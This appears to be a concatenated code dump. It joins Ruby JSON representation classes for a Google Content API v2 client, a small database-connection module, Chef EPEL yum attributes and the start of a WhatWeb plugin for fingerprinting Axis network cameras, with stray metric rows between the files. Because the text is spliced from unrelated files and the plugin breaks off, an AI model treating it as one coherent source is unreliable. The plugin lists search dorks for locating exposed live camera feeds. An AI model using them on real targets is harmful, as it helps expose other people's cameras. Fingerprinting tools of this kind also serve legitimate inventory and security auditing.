class Representation < Google::Apis::Core::JsonRepresentation
property :content_language, as: 'contentLanguage'
property :gtin, as: 'gtin'
property :item_id, as: 'itemId'
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :quantity, :numeric_string => true, as: 'quantity'
property :sale_id, as: 'saleId'
property :store_code, as: 'storeCode'
property :target_country, as: 'targetCountry'
property :timestamp, as: 'timestamp'
end
end
class PosSaleResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :content_language, as: 'contentLanguage'
property :gtin, as: 'gtin'
property :item_id, as: 'itemId'
property :kind, as: 'kind'
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :quantity, :numeric_string => true, as: 'quantity'
property :sale_id, as: 'saleId'
property :store_code, as: 'storeCode'
property :target_country, as: 'targetCountry'
property :timestamp, as: 'timestamp'
end
end
class PosStore
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :store_address, as: 'storeAddress'
property :store_code, as: 'storeCode'
end
end
class PostalCodeGroup
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
property :name, as: 'name'
collection :postal_code_ranges, as: 'postalCodeRanges', class: Google::Apis::ContentV2::PostalCodeRange, decorator: Google::Apis::ContentV2::PostalCodeRange::Representation
end
end
class PostalCodeRange
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :postal_code_range_begin, as: 'postalCodeRangeBegin'
property :postal_code_range_end, as: 'postalCodeRangeEnd'
end
end
class Price
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :currency, as: 'currency'
property :value, as: 'value'
end
end
class Product
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :additional_image_links, as: 'additionalImageLinks'
collection :additional_product_types, as: 'additionalProductTypes'
property :adult, as: 'adult'
property :adwords_grouping, as: 'adwordsGrouping'
collection :adwords_labels, as: 'adwordsLabels'
property :adwords_redirect, as: 'adwordsRedirect'
property :age_group, as: 'ageGroup'
collection :aspects, as: 'aspects', class: Google::Apis::ContentV2::ProductAspect, decorator: Google::Apis::ContentV2::ProductAspect::Representation
property :availability, as: 'availability'
property :availability_date, as: 'availabilityDate'
property :brand, as: 'brand'
property :channel, as: 'channel'
property :color, as: 'color'
property :condition, as: 'condition'
property :content_language, as: 'contentLanguage'
property :cost_of_goods_sold, as: 'costOfGoodsSold', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
collection :custom_attributes, as: 'customAttributes', class: Google::Apis::ContentV2::CustomAttribute, decorator: Google::Apis::ContentV2::CustomAttribute::Representation
collection :custom_groups, as: 'customGroups', class: Google::Apis::ContentV2::CustomGroup, decorator: Google::Apis::ContentV2::CustomGroup::Representation
property :custom_label0, as: 'customLabel0'
property :custom_label1, as: 'customLabel1'
property :custom_label2, as: 'customLabel2'
property :custom_label3, as: 'customLabel3'
property :custom_label4, as: 'customLabel4'
property :description, as: 'description'
collection :destinations, as: 'destinations', class: Google::Apis::ContentV2::ProductDestination, decorator: Google::Apis::ContentV2::ProductDestination::Representation
property :display_ads_id, as: 'displayAdsId'
property :display_ads_link, as: 'displayAdsLink'
collection :display_ads_similar_ids, as: 'displayAdsSimilarIds'
property :display_ads_title, as: 'displayAdsTitle'
property :display_ads_value, as: 'displayAdsValue'
property :energy_efficiency_class, as: 'energyEfficiencyClass'
property :expiration_date, as: 'expirationDate'
property :gender, as: 'gender'
property :google_product_category, as: 'googleProductCategory'
property :gtin, as: 'gtin'
property :id, as: 'id'
property :identifier_exists, as: 'identifierExists'
property :image_link, as: 'imageLink'
property :installment, as: 'installment', class: Google::Apis::ContentV2::Installment, decorator: Google::Apis::ContentV2::Installment::Representation
property :is_bundle, as: 'isBundle'
property :item_group_id, as: 'itemGroupId'
property :kind, as: 'kind'
property :link, as: 'link'
property :loyalty_points, as: 'loyaltyPoints', class: Google::Apis::ContentV2::LoyaltyPoints, decorator: Google::Apis::ContentV2::LoyaltyPoints::Representation
property :material, as: 'material'
property :max_energy_efficiency_class, as: 'maxEnergyEfficiencyClass'
property :max_handling_time, :numeric_string => true, as: 'maxHandlingTime'
property :min_energy_efficiency_class, as: 'minEnergyEfficiencyClass'
property :min_handling_time, :numeric_string => true, as: 'minHandlingTime'
property :mobile_link, as: 'mobileLink'
property :mpn, as: 'mpn'
property :multipack, :numeric_string => true, as: 'multipack'
property :offer_id, as: 'offerId'
property :online_only, as: 'onlineOnly'
property :pattern, as: 'pattern'
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :product_type, as: 'productType'
collection :promotion_ids, as: 'promotionIds'
property :sale_price, as: 'salePrice', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :sale_price_effective_date, as: 'salePriceEffectiveDate'
property :sell_on_google_quantity, :numeric_string => true, as: 'sellOnGoogleQuantity'
collection :shipping, as: 'shipping', class: Google::Apis::ContentV2::ProductShipping, decorator: Google::Apis::ContentV2::ProductShipping::Representation
property :shipping_height, as: 'shippingHeight', class: Google::Apis::ContentV2::ProductShippingDimension, decorator: Google::Apis::ContentV2::ProductShippingDimension::Representation
property :shipping_label, as: 'shippingLabel'
property :shipping_length, as: 'shippingLength', class: Google::Apis::ContentV2::ProductShippingDimension, decorator: Google::Apis::ContentV2::ProductShippingDimension::Representation
property :shipping_weight, as: 'shippingWeight', class: Google::Apis::ContentV2::ProductShippingWeight, decorator: Google::Apis::ContentV2::ProductShippingWeight::Representation
property :shipping_width, as: 'shippingWidth', class: Google::Apis::ContentV2::ProductShippingDimension, decorator: Google::Apis::ContentV2::ProductShippingDimension::Representation
property :size_system, as: 'sizeSystem'
property :size_type, as: 'sizeType'
collection :sizes, as: 'sizes'
property :source, as: 'source'
property :target_country, as: 'targetCountry'
collection :taxes, as: 'taxes', class: Google::Apis::ContentV2::ProductTax, decorator: Google::Apis::ContentV2::ProductTax::Representation
property :title, as: 'title'
property :unit_pricing_base_measure, as: 'unitPricingBaseMeasure', class: Google::Apis::ContentV2::ProductUnitPricingBaseMeasure, decorator: Google::Apis::ContentV2::ProductUnitPricingBaseMeasure::Representation
property :unit_pricing_measure, as: 'unitPricingMeasure', class: Google::Apis::ContentV2::ProductUnitPricingMeasure, decorator: Google::Apis::ContentV2::ProductUnitPricingMeasure::Representation
collection :validated_destinations, as: 'validatedDestinations'
collection :warnings, as: 'warnings', class: Google::Apis::ContentV2::Error, decorator: Google::Apis::ContentV2::Error::Representation
end
end
class ProductAmount
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :price_amount, as: 'priceAmount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :remitted_tax_amount, as: 'remittedTaxAmount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :tax_amount, as: 'taxAmount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
end
end
class ProductAspect
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :aspect_name, as: 'aspectName'
property :destination_name, as: 'destinationName'
property :intention, as: 'intention'
end
end
class ProductDestination
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :destination_name, as: 'destinationName'
property :intention, as: 'intention'
end
end
class ProductShipping
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
property :location_group_name, as: 'locationGroupName'
property :location_id, :numeric_string => true, as: 'locationId'
property :postal_code, as: 'postalCode'
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :region, as: 'region'
property :service, as: 'service'
end
end
class ProductShippingDimension
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :unit, as: 'unit'
property :value, as: 'value'
end
end
class ProductShippingWeight
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :unit, as: 'unit'
property :value, as: 'value'
end
end
class ProductStatus
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :creation_date, as: 'creationDate'
collection :data_quality_issues, as: 'dataQualityIssues', class: Google::Apis::ContentV2::ProductStatusDataQualityIssue, decorator: Google::Apis::ContentV2::ProductStatusDataQualityIssue::Representation
collection :destination_statuses, as: 'destinationStatuses', class: Google::Apis::ContentV2::ProductStatusDestinationStatus, decorator: Google::Apis::ContentV2::ProductStatusDestinationStatus::Representation
property :google_expiration_date, as: 'googleExpirationDate'
collection :item_level_issues, as: 'itemLevelIssues', class: Google::Apis::ContentV2::ProductStatusItemLevelIssue, decorator: Google::Apis::ContentV2::ProductStatusItemLevelIssue::Representation
property :kind, as: 'kind'
property :last_update_date, as: 'lastUpdateDate'
property :link, as: 'link'
property :product, as: 'product', class: Google::Apis::ContentV2::Product, decorator: Google::Apis::ContentV2::Product::Representation
property :product_id, as: 'productId'
property :title, as: 'title'
end
end
class ProductStatusDataQualityIssue
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :destination, as: 'destination'
property :detail, as: 'detail'
property :fetch_status, as: 'fetchStatus'
property :id, as: 'id'
property :location, as: 'location'
property :severity, as: 'severity'
property :timestamp, as: 'timestamp'
property :value_on_landing_page, as: 'valueOnLandingPage'
property :value_provided, as: 'valueProvided'
end
end
class ProductStatusDestinationStatus
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :approval_pending, as: 'approvalPending'
property :approval_status, as: 'approvalStatus'
property :destination, as: 'destination'
property :intention, as: 'intention'
end
end
class ProductStatusItemLevelIssue
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :attribute_name, as: 'attributeName'
property :code, as: 'code'
property :description, as: 'description'
property :destination, as: 'destination'
property :detail, as: 'detail'
property :documentation, as: 'documentation'
property :resolution, as: 'resolution'
property :servability, as: 'servability'
end
end
class ProductTax
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
property :location_id, :numeric_string => true, as: 'locationId'
property :postal_code, as: 'postalCode'
property :rate, as: 'rate'
property :region, as: 'region'
property :tax_ship, as: 'taxShip'
end
end
class ProductUnitPricingBaseMeasure
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :unit, as: 'unit'
property :value, :numeric_string => true, as: 'value'
end
end
class ProductUnitPricingMeasure
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :unit, as: 'unit'
property :value, as: 'value'
end
end
class BatchProductsRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::ProductsBatchRequestEntry, decorator: Google::Apis::ContentV2::ProductsBatchRequestEntry::Representation
end
end
class ProductsBatchRequestEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :request_method, as: 'method'
property :product, as: 'product', class: Google::Apis::ContentV2::Product, decorator: Google::Apis::ContentV2::Product::Representation
property :product_id, as: 'productId'
end
end
class BatchProductsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::ProductsBatchResponseEntry, decorator: Google::Apis::ContentV2::ProductsBatchResponseEntry::Representation
property :kind, as: 'kind'
end
end
class ProductsBatchResponseEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :errors, as: 'errors', class: Google::Apis::ContentV2::Errors, decorator: Google::Apis::ContentV2::Errors::Representation
property :kind, as: 'kind'
property :product, as: 'product', class: Google::Apis::ContentV2::Product, decorator: Google::Apis::ContentV2::Product::Representation
end
end
class ListProductsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :resources, as: 'resources', class: Google::Apis::ContentV2::Product, decorator: Google::Apis::ContentV2::Product::Representation
end
end
class BatchProductStatusesRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::ProductStatusesBatchRequestEntry, decorator: Google::Apis::ContentV2::ProductStatusesBatchRequestEntry::Representation
end
end
class ProductStatusesBatchRequestEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
collection :destinations, as: 'destinations'
property :include_attributes, as: 'includeAttributes'
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :request_method, as: 'method'
property :product_id, as: 'productId'
end
end
class BatchProductStatusesResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::ProductStatusesBatchResponseEntry, decorator: Google::Apis::ContentV2::ProductStatusesBatchResponseEntry::Representation
property :kind, as: 'kind'
end
end
class ProductStatusesBatchResponseEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :errors, as: 'errors', class: Google::Apis::ContentV2::Errors, decorator: Google::Apis::ContentV2::Errors::Representation
property :kind, as: 'kind'
property :product_status, as: 'productStatus', class: Google::Apis::ContentV2::ProductStatus, decorator: Google::Apis::ContentV2::ProductStatus::Representation
end
end
class ListProductStatusesResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :resources, as: 'resources', class: Google::Apis::ContentV2::ProductStatus, decorator: Google::Apis::ContentV2::ProductStatus::Representation
end
end
class Promotion
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :promotion_amount, as: 'promotionAmount', class: Google::Apis::ContentV2::Amount, decorator: Google::Apis::ContentV2::Amount::Representation
property :promotion_id, as: 'promotionId'
end
end
class RateGroup
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :applicable_shipping_labels, as: 'applicableShippingLabels'
collection :carrier_rates, as: 'carrierRates', class: Google::Apis::ContentV2::CarrierRate, decorator: Google::Apis::ContentV2::CarrierRate::Representation
property :main_table, as: 'mainTable', class: Google::Apis::ContentV2::Table, decorator: Google::Apis::ContentV2::Table::Representation
property :name, as: 'name'
property :single_value, as: 'singleValue', class: Google::Apis::ContentV2::Value, decorator: Google::Apis::ContentV2::Value::Representation
collection :subtables, as: 'subtables', class: Google::Apis::ContentV2::Table, decorator: Google::Apis::ContentV2::Table::Representation
end
end
class RefundReason
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :description, as: 'description'
property :reason_code, as: 'reasonCode'
end
end
class ReturnShipment
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :creation_date, as: 'creationDate'
property :delivery_date, as: 'deliveryDate'
property :return_method_type, as: 'returnMethodType'
property :shipment_id, as: 'shipmentId'
collection :shipment_tracking_infos, as: 'shipmentTrackingInfos', class: Google::Apis::ContentV2::ShipmentTrackingInfo, decorator: Google::Apis::ContentV2::ShipmentTrackingInfo::Representation
property :shipping_date, as: 'shippingDate'
property :state, as: 'state'
end
end
class Row
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :cells, as: 'cells', class: Google::Apis::ContentV2::Value, decorator: Google::Apis::ContentV2::Value::Representation
end
end
class Service
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :active, as: 'active'
property :currency, as: 'currency'
property :delivery_country, as: 'deliveryCountry'
property :delivery_time, as: 'deliveryTime', class: Google::Apis::ContentV2::DeliveryTime, decorator: Google::Apis::ContentV2::DeliveryTime::Representation
property :eligibility, as: 'eligibility'
property :minimum_order_value, as: 'minimumOrderValue', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :name, as: 'name'
collection :rate_groups, as: 'rateGroups', class: Google::Apis::ContentV2::RateGroup, decorator: Google::Apis::ContentV2::RateGroup::Representation
end
end
class ShipmentInvoice
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :invoice_summary, as: 'invoiceSummary', class: Google::Apis::ContentV2::InvoiceSummary, decorator: Google::Apis::ContentV2::InvoiceSummary::Representation
collection :line_item_invoices, as: 'lineItemInvoices', class: Google::Apis::ContentV2::ShipmentInvoiceLineItemInvoice, decorator: Google::Apis::ContentV2::ShipmentInvoiceLineItemInvoice::Representation
property :shipment_group_id, as: 'shipmentGroupId'
end
end
class ShipmentInvoiceLineItemInvoice
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :line_item_id, as: 'lineItemId'
property :product_id, as: 'productId'
collection :shipment_unit_ids, as: 'shipmentUnitIds'
property :unit_invoice, as: 'unitInvoice', class: Google::Apis::ContentV2::UnitInvoice, decorator: Google::Apis::ContentV2::UnitInvoice::Representation
end
end
class ShipmentTrackingInfo
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :carrier, as: 'carrier'
property :tracking_number, as: 'trackingNumber'
end
end
class ShippingSettings
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account_id, :numeric_string => true, as: 'accountId'
collection :postal_code_groups, as: 'postalCodeGroups', class: Google::Apis::ContentV2::PostalCodeGroup, decorator: Google::Apis::ContentV2::PostalCodeGroup::Representation
collection :services, as: 'services', class: Google::Apis::ContentV2::Service, decorator: Google::Apis::ContentV2::Service::Representation
end
end
class ShippingsettingsCustomBatchRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::ShippingsettingsCustomBatchRequestEntry, decorator: Google::Apis::ContentV2::ShippingsettingsCustomBatchRequestEntry::Representation
end
end
class ShippingsettingsCustomBatchRequestEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account_id, :numeric_string => true, as: 'accountId'
property :batch_id, as: 'batchId'
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :method_prop, as: 'method'
property :shipping_settings, as: 'shippingSettings', class: Google::Apis::ContentV2::ShippingSettings, decorator: Google::Apis::ContentV2::ShippingSettings::Representation
end
end
class ShippingsettingsCustomBatchResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::ShippingsettingsCustomBatchResponseEntry, decorator: Google::Apis::ContentV2::ShippingsettingsCustomBatchResponseEntry::Representation
property :kind, as: 'kind'
end
end
class ShippingsettingsCustomBatchResponseEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :errors, as: 'errors', class: Google::Apis::ContentV2::Errors, decorator: Google::Apis::ContentV2::Errors::Representation
property :kind, as: 'kind'
property :shipping_settings, as: 'shippingSettings', class: Google::Apis::ContentV2::ShippingSettings, decorator: Google::Apis::ContentV2::ShippingSettings::Representation
end
end
class ShippingsettingsGetSupportedCarriersResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :carriers, as: 'carriers', class: Google::Apis::ContentV2::CarriersCarrier, decorator: Google::Apis::ContentV2::CarriersCarrier::Representation
property :kind, as: 'kind'
end
end
class ShippingsettingsGetSupportedHolidaysResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :holidays, as: 'holidays', class: Google::Apis::ContentV2::HolidaysHoliday, decorator: Google::Apis::ContentV2::HolidaysHoliday::Representation
property :kind, as: 'kind'
end
end
class ShippingsettingsListResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :resources, as: 'resources', class: Google::Apis::ContentV2::ShippingSettings, decorator: Google::Apis::ContentV2::ShippingSettings::Representation
end
end
class Table
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :column_headers, as: 'columnHeaders', class: Google::Apis::ContentV2::Headers, decorator: Google::Apis::ContentV2::Headers::Representation
property :name, as: 'name'
property :row_headers, as: 'rowHeaders', class: Google::Apis::ContentV2::Headers, decorator: Google::Apis::ContentV2::Headers::Representation
collection :rows, as: 'rows', class: Google::Apis::ContentV2::Row, decorator: Google::Apis::ContentV2::Row::Representation
end
end
class TestOrder
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :customer, as: 'customer', class: Google::Apis::ContentV2::TestOrderCustomer, decorator: Google::Apis::ContentV2::TestOrderCustomer::Representation
property :enable_orderinvoices, as: 'enableOrderinvoices'
property :kind, as: 'kind'
collection :line_items, as: 'lineItems', class: Google::Apis::ContentV2::TestOrderLineItem, decorator: Google::Apis::ContentV2::TestOrderLineItem::Representation
property :notification_mode, as: 'notificationMode'
property :payment_method, as: 'paymentMethod', class: Google::Apis::ContentV2::TestOrderPaymentMethod, decorator: Google::Apis::ContentV2::TestOrderPaymentMethod::Representation
property :predefined_delivery_address, as: 'predefinedDeliveryAddress'
property :predefined_pickup_details, as: 'predefinedPickupDetails'
collection :promotions, as: 'promotions', class: Google::Apis::ContentV2::OrderLegacyPromotion, decorator: Google::Apis::ContentV2::OrderLegacyPromotion::Representation
property :shipping_cost, as: 'shippingCost', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :shipping_cost_tax, as: 'shippingCostTax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :shipping_option, as: 'shippingOption'
end
end
class TestOrderCustomer
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :email, as: 'email'
property :explicit_marketing_preference, as: 'explicitMarketingPreference'
property :full_name, as: 'fullName'
property :marketing_rights_info, as: 'marketingRightsInfo', class: Google::Apis::ContentV2::TestOrderCustomerMarketingRightsInfo, decorator: Google::Apis::ContentV2::TestOrderCustomerMarketingRightsInfo::Representation
end
end
class TestOrderCustomerMarketingRightsInfo
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :explicit_marketing_preference, as: 'explicitMarketingPreference'
property :last_updated_timestamp, as: 'lastUpdatedTimestamp'
end
end
class TestOrderLineItem
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :product, as: 'product', class: Google::Apis::ContentV2::TestOrderLineItemProduct, decorator: Google::Apis::ContentV2::TestOrderLineItemProduct::Representation
property :quantity_ordered, as: 'quantityOrdered'
property :return_info, as: 'returnInfo', class: Google::Apis::ContentV2::OrderLineItemReturnInfo, decorator: Google::Apis::ContentV2::OrderLineItemReturnInfo::Representation
property :shipping_details, as: 'shippingDetails', class: Google::Apis::ContentV2::OrderLineItemShippingDetails, decorator: Google::Apis::ContentV2::OrderLineItemShippingDetails::Representation
property :unit_tax, as: 'unitTax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
end
end
class TestOrderLineItemProduct
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :brand, as: 'brand'
property :channel, as: 'channel'
property :condition, as: 'condition'
property :content_language, as: 'contentLanguage'
collection :fees, as: 'fees', class: Google::Apis::ContentV2::OrderLineItemProductFee, decorator: Google::Apis::ContentV2::OrderLineItemProductFee::Representation
property :gtin, as: 'gtin'
property :image_link, as: 'imageLink'
property :item_group_id, as: 'itemGroupId'
property :mpn, as: 'mpn'
property :offer_id, as: 'offerId'
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :target_country, as: 'targetCountry'
property :title, as: 'title'
collection :variant_attributes, as: 'variantAttributes', class: Google::Apis::ContentV2::OrderLineItemProductVariantAttribute, decorator: Google::Apis::ContentV2::OrderLineItemProductVariantAttribute::Representation
end
end
class TestOrderPaymentMethod
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :expiration_month, as: 'expirationMonth'
property :expiration_year, as: 'expirationYear'
property :last_four_digits, as: 'lastFourDigits'
property :predefined_billing_address, as: 'predefinedBillingAddress'
property :type, as: 'type'
end
end
class TransitTable
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :postal_code_group_names, as: 'postalCodeGroupNames'
collection :rows, as: 'rows', class: Google::Apis::ContentV2::TransitTableTransitTimeRow, decorator: Google::Apis::ContentV2::TransitTableTransitTimeRow::Representation
collection :transit_time_labels, as: 'transitTimeLabels'
end
end
class TransitTableTransitTimeRow
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :values, as: 'values', class: Google::Apis::ContentV2::TransitTableTransitTimeRowTransitTimeValue, decorator: Google::Apis::ContentV2::TransitTableTransitTimeRowTransitTimeValue::Representation
end
end
class TransitTableTransitTimeRowTransitTimeValue
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :max_transit_time_in_days, as: 'maxTransitTimeInDays'
property :min_transit_time_in_days, as: 'minTransitTimeInDays'
end
end
class UnitInvoice
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :additional_charges, as: 'additionalCharges', class: Google::Apis::ContentV2::UnitInvoiceAdditionalCharge, decorator: Google::Apis::ContentV2::UnitInvoiceAdditionalCharge::Representation
collection :promotions, as: 'promotions', class: Google::Apis::ContentV2::Promotion, decorator: Google::Apis::ContentV2::Promotion::Representation
property :unit_price_pretax, as: 'unitPricePretax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
collection :unit_price_taxes, as: 'unitPriceTaxes', class: Google::Apis::ContentV2::UnitInvoiceTaxLine, decorator: Google::Apis::ContentV2::UnitInvoiceTaxLine::Representation
end
end
class UnitInvoiceAdditionalCharge
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :additional_charge_amount, as: 'additionalChargeAmount', class: Google::Apis::ContentV2::Amount, decorator: Google::Apis::ContentV2::Amount::Representation
collection :additional_charge_promotions, as: 'additionalChargePromotions', class: Google::Apis::ContentV2::Promotion, decorator: Google::Apis::ContentV2::Promotion::Representation
property :type, as: 'type'
end
end
class UnitInvoiceTaxLine
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :tax_amount, as: 'taxAmount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :tax_name, as: 'taxName'
property :tax_type, as: 'taxType'
end
end
class Value
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :carrier_rate_name, as: 'carrierRateName'
property :flat_rate, as: 'flatRate', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :no_shipping, as: 'noShipping'
property :price_percentage, as: 'pricePercentage'
property :subtable_name, as: 'subtableName'
end
end
class Weight
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :unit, as: 'unit'
property :value, as: 'value'
end
end
end
end
end
| 40.93576 | 294 | 0.657441 |
fff7a2e27f2779b1a958aa6a8df0196a1acfe976 | 837 | require "oculus/version"
require "oculus/storage"
require "oculus/connection"
require "oculus/query"
module Oculus
extend self
DEFAULT_CONNECTION_OPTIONS = { :adapter => 'mysql', :host => 'localhost' }
attr_writer :cache_path
def cache_path
@cache_path ||= 'tmp/data'
end
attr_writer :data_store
def data_store
@data_store ||= Oculus::Storage::FileStore.new(Oculus.cache_path)
end
attr_writer :connection_options
def connection_options
@connection_options ||= DEFAULT_CONNECTION_OPTIONS
end
def connection_string
user = "#{connection_options[:username]}@" if connection_options[:username]
port = ":#{connection_options[:port]}" if connection_options[:port]
"#{connection_options[:adapter]}://#{user}#{connection_options[:host]}#{port}/#{connection_options[:database]}"
end
end
| 23.25 | 115 | 0.726404 |
ab17be5e221245090fed07204a724ed7e0264ffb | 1,200 | default['yum']['epel']['repositoryid'] = 'epel'
default['yum']['epel']['description'] = "Extra Packages for #{node['platform_version'].to_i} - $basearch"
case node['kernel']['machine']
when 's390x'
default['yum']['epel']['baseurl'] = 'https://kojipkgs.fedoraproject.org/rhel/rc/7/Server/s390x/os/'
default['yum']['epel']['gpgkey'] = 'https://kojipkgs.fedoraproject.org/rhel/rc/7/Server/s390x/os/RPM-GPG-KEY-redhat-release'
else
case node['platform']
when 'amazon'
default['yum']['epel']['mirrorlist'] = 'http://mirrors.fedoraproject.org/mirrorlist?repo=epel-6&arch=$basearch'
default['yum']['epel']['gpgkey'] = 'http://dl.fedoraproject.org/pub/epel/RPM-GPG-KEY-EPEL-6'
else
default['yum']['epel']['mirrorlist'] = "http://mirrors.fedoraproject.org/mirrorlist?repo=epel-#{node['platform_version'].to_i}&arch=$basearch"
default['yum']['epel']['gpgkey'] = "https://dl.fedoraproject.org/pub/epel/RPM-GPG-KEY-EPEL-#{node['platform_version'].to_i}"
end
end
default['yum']['epel']['failovermethod'] = 'priority'
default['yum']['epel']['gpgcheck'] = true
default['yum']['epel']['enabled'] = true
default['yum']['epel']['managed'] = true
default['yum']['epel']['make_cache'] = true
| 54.545455 | 146 | 0.675833 |
1c0911f69b4a0683ca0369284a1de4131e843056 | 2,861 | ##
# This file is part of WhatWeb and may be subject to
# redistribution and commercial restrictions. Please see the WhatWeb
# web site for more information on licensing and terms of use.
# http://www.morningstarsecurity.com/research/whatweb
##
# Version 0.2 # 2011-03-31 #
# Updated regex
##
# Version 0.2 # 2011-01-07 #
# Updated version detection
# Updated matches
# Added model detection
# Added module detection
##
Plugin.define "Axis-Network-Camera" do
author "Brendan Coles <[email protected]>" # 2010-06-29
version "0.2"
description "Axis network camera"
website "http://www.axis.com/"
# Google results as at 2010-06-27 #
# 312 for allintitle: Axis 2.10 OR 2.12 OR 2.30 OR 2.31 OR 2.32 OR 2.33 OR 2.34 OR 2.40 OR 2.42 OR 2.43 "Network Camera"
# 475 for intitle:"Live View / . AXIS" | inurl:view/view.shtml OR inurl:view/indexFrame.shtml | intitle:"MJPG Live Demo" | "intext:Select preset position"
# 23 for inurl:indexFrame.shtml intitle:Axis -inurl
# Dorks #
dorks [
'allintitle: Axis 2.10 OR 2.12 OR 2.30 OR 2.31 OR 2.32 OR 2.33 OR 2.34 OR 2.40 OR 2.42 OR 2.43 "Network Camera"',
'intitle:"Live View / . AXIS" | inurl:view/view.shtml OR inurl:view/indexFrame.shtml | intitle:"MJPG Live Demo" | "intext:Select preset position"',
'inurl:indexFrame.shtml intitle:Axis -inurl'
]
# Matches #
matches [
# Default video server title
{ :text=>'<TITLE>AXIS Video Server</TITLE>' },
# Frameset # Default frame HTML
